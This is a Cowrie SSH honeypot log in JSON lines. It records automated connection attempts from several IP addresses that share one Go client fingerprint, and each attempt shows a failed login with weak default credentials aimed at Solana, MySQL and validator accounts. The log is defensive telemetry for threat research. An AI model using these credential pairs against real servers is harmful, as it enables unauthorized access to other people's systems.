{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:07.353276Z","src_ip":"92.118.39.95","session":"191144f86751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:07.462324Z","src_ip":"92.118.39.95","session":"191144f86751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:07.777954Z","src_ip":"92.118.39.95","session":"191144f86751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:08.888024Z","src_ip":"92.118.39.95","session":"191144f86751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":45612,"dst_ip":"10.17.0.5","dst_port":22,"session":"f024972677ec","protocol":"ssh","message":"New connection: 92.118.39.72:45612 (10.17.0.5:22) [session: f024972677ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:56.476438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:56.481230Z","src_ip":"92.118.39.72","session":"f024972677ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:56.585022Z","src_ip":"92.118.39.72","session":"f024972677ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:56.895329Z","src_ip":"92.118.39.72","session":"f024972677ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36648,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d134afe7941","protocol":"ssh","message":"New connection: 193.32.162.151:36648 (159.203.135.109:22) [session: 6d134afe7941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:57.350991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:57.355439Z","src_ip":"193.32.162.151","session":"6d134afe7941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:57.457073Z","src_ip":"193.32.162.151","session":"6d134afe7941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:57.763343Z","src_ip":"193.32.162.151","session":"6d134afe7941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:58.023223Z","src_ip":"92.118.39.72","session":"f024972677ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:17:58.865084Z","src_ip":"193.32.162.151","session":"6d134afe7941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.109.112.180","src_port":51633,"dst_ip":"10.17.0.5","dst_port":22,"session":"4753ea37defe","protocol":"ssh","message":"New connection: 38.109.112.180:51633 (10.17.0.5:22) [session: 4753ea37defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:18:43.230971Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:18:43.270973Z","src_ip":"38.109.112.180","session":"4753ea37defe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"310d18109c3b","protocol":"ssh","message":"New connection: 92.118.39.95:57612 (10.17.0.5:22) [session: 310d18109c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:11.331410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:11.336102Z","src_ip":"92.118.39.95","session":"310d18109c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:11.441800Z","src_ip":"92.118.39.95","session":"310d18109c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:11.761735Z","src_ip":"92.118.39.95","session":"310d18109c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:12.870317Z","src_ip":"92.118.39.95","session":"310d18109c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57270,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc506e6f145e","protocol":"ssh","message":"New connection: 80.94.92.186:57270 (10.17.0.5:22) [session: cc506e6f145e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:22.873249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:23.029294Z","src_ip":"80.94.92.186","session":"cc506e6f145e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:23.032924Z","src_ip":"80.94.92.186","session":"cc506e6f145e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:24.424332Z","src_ip":"80.94.92.186","session":"cc506e6f145e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:19:25.642802Z","src_ip":"80.94.92.186","session":"cc506e6f145e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52548,"dst_ip":"159.203.135.109","dst_port":22,"session":"73941e6f3c8e","protocol":"ssh","message":"New connection: 193.32.162.151:52548 (159.203.135.109:22) [session: 73941e6f3c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:08.614946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:08.621461Z","src_ip":"193.32.162.151","session":"73941e6f3c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:08.728987Z","src_ip":"193.32.162.151","session":"73941e6f3c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwer1234","message":"login attempt [mysql/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:09.071424Z","src_ip":"193.32.162.151","session":"73941e6f3c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:10.200406Z","src_ip":"193.32.162.151","session":"73941e6f3c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":58266,"dst_ip":"10.17.0.5","dst_port":22,"session":"46b7445edfe9","protocol":"ssh","message":"New connection: 92.118.39.72:58266 (10.17.0.5:22) [session: 46b7445edfe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:16.186948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:16.191489Z","src_ip":"92.118.39.72","session":"46b7445edfe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:16.294574Z","src_ip":"92.118.39.72","session":"46b7445edfe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:16.600874Z","src_ip":"92.118.39.72","session":"46b7445edfe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:20:17.709043Z","src_ip":"92.118.39.72","session":"46b7445edfe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":41612,"dst_ip":"10.17.0.5","dst_port":22,"session":"206c091d68c9","protocol":"ssh","message":"New connection: 92.118.39.95:41612 (10.17.0.5:22) [session: 206c091d68c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:21:22.134125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:21:22.139607Z","src_ip":"92.118.39.95","session":"206c091d68c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:21:22.249853Z","src_ip":"92.118.39.95","session":"206c091d68c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:21:22.636874Z","src_ip":"92.118.39.95","session":"206c091d68c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:21:23.741859Z","src_ip":"92.118.39.95","session":"206c091d68c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40200,"dst_ip":"159.203.135.109","dst_port":22,"session":"858299cf3339","protocol":"ssh","message":"New connection: 193.32.162.151:40200 (159.203.135.109:22) [session: 858299cf3339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:23.758826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:22:23.766199Z","src_ip":"193.32.162.151","session":"858299cf3339","protocol":"ssh"}
